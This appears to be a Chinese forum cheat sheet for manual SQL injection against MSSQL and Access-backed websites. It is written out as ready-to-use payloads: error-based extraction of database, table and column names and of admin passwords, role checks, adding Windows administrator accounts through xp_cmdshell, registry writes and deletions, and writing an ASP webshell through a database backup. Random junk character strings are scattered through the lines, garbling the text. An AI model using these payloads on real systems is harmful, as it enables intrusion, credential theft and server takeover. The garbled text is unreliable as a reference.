1.判断是否有注入 ) N" ~# t3 \/ i' u* Y
;and 1=1
) i2 u9 f( m' e# ?;and 1=2 1 d4 X1 p, P0 Z, h0 U1 r j9 T# _5 M
! b+ M: A$ K% V5 `2.初步判断是否是mssql 5 M/ |7 Q7 k) T# ?- U8 y4 @7 h
;and user>0
5 x5 W! k5 F" m: l, k
; T7 |0 Z. }/ z9 d) G1 Z3.判断数据库系统 & h! u& o- N, [# H1 ^
;and (select count(*) from sysobjects)>0 mssql G9 r, k# H, ?! m$ V' X
;and (select count(*) from msysobjects)>0 access , ^" i+ r' f$ J# z9 T3 q
; Q" L' a; Y* }' c0 w* f9 `! y% W4.注入参数是字符 . b1 ?9 E: _& Z- R9 u# S- R
'and [查询条件] and ''=' ! p3 w8 u+ N% }& T& t `
) {* |* `+ B7 \) F- U3 q9 g* k
5.搜索时没过滤参数的 , C& c9 ~* u8 [6 L4 h
'and [查询条件] and '%25'='
( J% D0 C6 x- q! ?8 S: B6 a5 {6 J
& Y* D4 t, m" a3 {0 E5 x8 P. D% V6.猜数表名 : f a. m) z2 O
;and (select Count(*) from [表名])>0
/ f8 v8 F# Y5 \* t) [
" k3 U9 L* W1 ~5 ^* o. \7.猜字段
6 j" M" @) {1 j6 t;and (select Count(字段名) from 表名)>0
" i' G7 E& y/ v* |- B5 A: t6 y" N9 s
/ U# X! ?, E! I1 M Z8.猜字段中记录长度 2 D8 K; F- W+ ?- X5 a2 N( C
;and (select top 1 len(字段名) from 表名)>0
9 G( Q1 ]8 S* {3 G+ Z X! K6 }6 H
9.(1)猜字段的ascii值(access)
) O- w- [7 p. [% R# R9 L;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
7 y- u, \$ A! V E* ~7 c0 `) h# @) @2 T% Q* ~
(2)猜字段的ascii值(mssql) " \& _/ B) h) o6 a' C/ N
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ |5 q/ [+ J! k
0 ^4 A( y# R9 F# z8 u& Q% K$ d10.测试权限结构(mssql)
/ k6 @/ A7 F4 |3 R;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; j5 F- r) _/ V: L* W6 ]4 d5 F1 }, m& V
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) f* _0 G, ~5 D' s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, x5 T, v% ], Z) z( O;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- , x$ h8 a! g* M ~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
c) Q; N. q6 U; v/ z. v( H& n) }2 A;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
* E- W X7 }/ C5 ];and 1=(select IS_MEMBER('db_owner'));-- 8 x: A% ~5 _* R) g9 u
, X5 q% q( \' k( s$ b; Z$ k7 _11.添加mssql和系统的帐户 % g$ [5 d% o6 q/ m( T% [( Y
;exec master.dbo.sp_addlogin username;--
" L$ {, t# `! m1 d" z2 I. [3 L;exec master.dbo.sp_password null,username,password;--
9 C. e' `: o: _8 E7 H1 ?! s;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 g O9 o# R6 U0 a9 v6 p
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ( z% R( u5 h! b7 \) ?+ [- l
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 b1 P8 h1 C& x! G6 f; ~( g
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
. O6 I8 H- C' X6 r/ p4 R+ ]# g5 u+ L! w) Q w7 G7 w) l0 i
12.(1)遍历目录 : t- b- L2 z% B( \* @
;create table dirs(paths varchar(100), id int) 5 {; g3 D# q4 m2 i
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3 n$ z$ ^% X5 A& V2 @, U6 T
;and (select top 1 paths from dirs)>0 ; S& p. _% a# R+ [
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ w9 t4 y# i) a9 ~; F
: L- Y9 c4 I8 B(2)遍历目录
" Y! C2 H: D* d0 X9 c- M ~;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" K, f4 M9 T3 q, o! v3 d: {1 U9 ];insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: ?! l; z7 }# L- B3 P;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& H% q% \/ D0 y0 G6 Z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
+ j) E0 @0 Y" ~;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 t5 V" ]- `- e x/ d9 P1 T
f/ S# y7 D# P
13.mssql中的存储过程
, ]. I. X: {( Xxp_regenumvalues 注册表根键, 子键
- L4 T9 i$ \; I" f3 Q& \;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 - K7 F" J! }! g! U5 q4 e, ]
xp_regread 根键,子键,键值名 ) V% ?( ^% D+ ^# j/ ]: J0 L8 z- ~( d. l
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( n- ~+ u) _( D a2 }
xp_regwrite 根键,子键, 值名, 值类型, 值 0 C9 x* `+ Y0 B# w2 L! p
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # U/ A0 o. U1 m) p0 R3 S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
' b& B, \2 h1 axp_regdeletevalue 根键,子键,值名
6 V$ `% Z6 h# ^: t) Pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
# h4 p+ e4 N( X, _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 U9 p$ \: M% o7 o3 a2 ^. y: M' E$ D
" Z0 m6 M9 J5 p3 t; r, t
14.mssql的backup创建webshell # d% z% b- J4 w9 e
use model " s q: r" s2 z
create table cmd(str image); & \! [7 @: }% ^* P
insert into cmd(str) values ('<% Dim oScript %>'); ' v+ I7 R) ]5 ^( K+ J
backup database model to disk='c:\l.asp';
1 e7 b e0 P% `* {) p5 x
1 \' F' a0 w. Z+ n3 G* U15.mssql内置函数 : N! `% c% S! p
;and (select @@version)>0 获得Windows的版本号 5 H+ t8 Z% l# R1 W8 k9 l
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ y6 m3 c3 f) V7 |; V, c
;and (select user_name())>0 爆当前系统的连接用户 * j: P; g$ z; `! [; z3 Z5 \8 Y
;and (select db_name())>0 得到当前连接的数据库
- a6 ?" H7 T; O9 S( O$ z5 Q9 Z; |. v: T4 [9 c
2 z4 U( ^, ~9 }% o
8 g" v9 ]. y& V
MSSQL手注暴库
0 {/ D; u6 t1 I3 C2 \0 @+ X2 S# O6 f1 C1 M0 p
1.暴出当前表名和列名! {( e2 i* i" ~ ?! `
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ K# i3 u3 h2 b9 x4 V) R3 e' ^' M& x' V
第一.爆出所有数据库名1 m3 V4 `0 t0 _5 \ C
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
7 E' C( `1 a+ B第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。0 H6 B; r0 C$ n$ [0 F
+ [ y3 S, s; [3 u9 q: B' ?/ V% d
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
9 H6 v2 r$ {9 ~' h, T( A. p$ Z$ ?- N' X2 B7 b
7 S! v2 X' Z' O Q4 z/ I第二.爆出指定库中的所有表名3 V6 [) {9 H! W: g& N1 P
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
a- W8 e2 l2 R* g0 a6 {再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。+ P" Q! w5 I. B# W; j; C% R6 [
. R4 [9 h& K/ N/ H, m0 _' t. G& i
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; T; o# A% H& i2 E, n+ D0 d
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
9 a+ m+ _1 z% j! Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
: ]9 r, A! x$ {3 l* s
+ }7 d1 v0 e _: ]- q9 d4.爆出指定表中的所有列名. n8 c& H% B8 F$ j+ V8 R
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ; Z1 n5 l6 H+ L9 ]& u
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'& c0 w$ @+ e6 J8 z9 a6 V$ G3 u
2 |6 u p C* X: T1 Qand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名0 B3 c) W. V3 {0 `. V
( |$ L. v" L# w, }# `再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
' u$ ^1 `$ i& V% G依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。& A+ z4 u# E- v/ L) U# u
u+ F2 ]4 l2 A# y* i! M' M t. S5 n! S- V1 Z7 w
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值& c1 B+ ?: f; |8 w( W
. f- C6 d- X- O1 ~* h$ O
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
# C8 Q' I8 s% r- @& K0 Z% z- ^# j5 f1 _$ l
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
+ O# B7 P) `3 h4 D. R; J! }3 z6 B
. j1 ?( n. m% T" ?" p) A v7 J/ M' a' b$ |4 a( G
5 ^& C4 [* m7 ?5.读取指定表中的数据4 @5 L0 u: ]8 s4 _+ |6 t
/ ^# R6 H8 K( D9 F# Y# _. ?( c
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ V) R5 i* Y. C: z4 Y8 U. n
% G0 O: t: D2 D& I" n# l( v
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--0 } d" ]3 m! {' Y8 L; _& `
: h1 v# s* P: r) K W: T& ^
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码& N$ l/ Q* s( y) @! _' P
) w& r# o3 w0 G6 K
$ P8 o0 t7 Q& s, k8 T. p2 x( Yand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao). b2 }% o# ]5 |$ Q; x* ^
8 e7 s0 M9 J6 M$ X5 t# ~, \
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
7 ?. [5 c7 M3 E" C
: g$ W! m( T- ^+ J! ^7 n! Q: Zand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--/ m3 ~, b t. E2 U! k
/ I i- F3 X" O6 ] ~3 s/ t$ l" B知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
; m$ H) a) V4 i* n |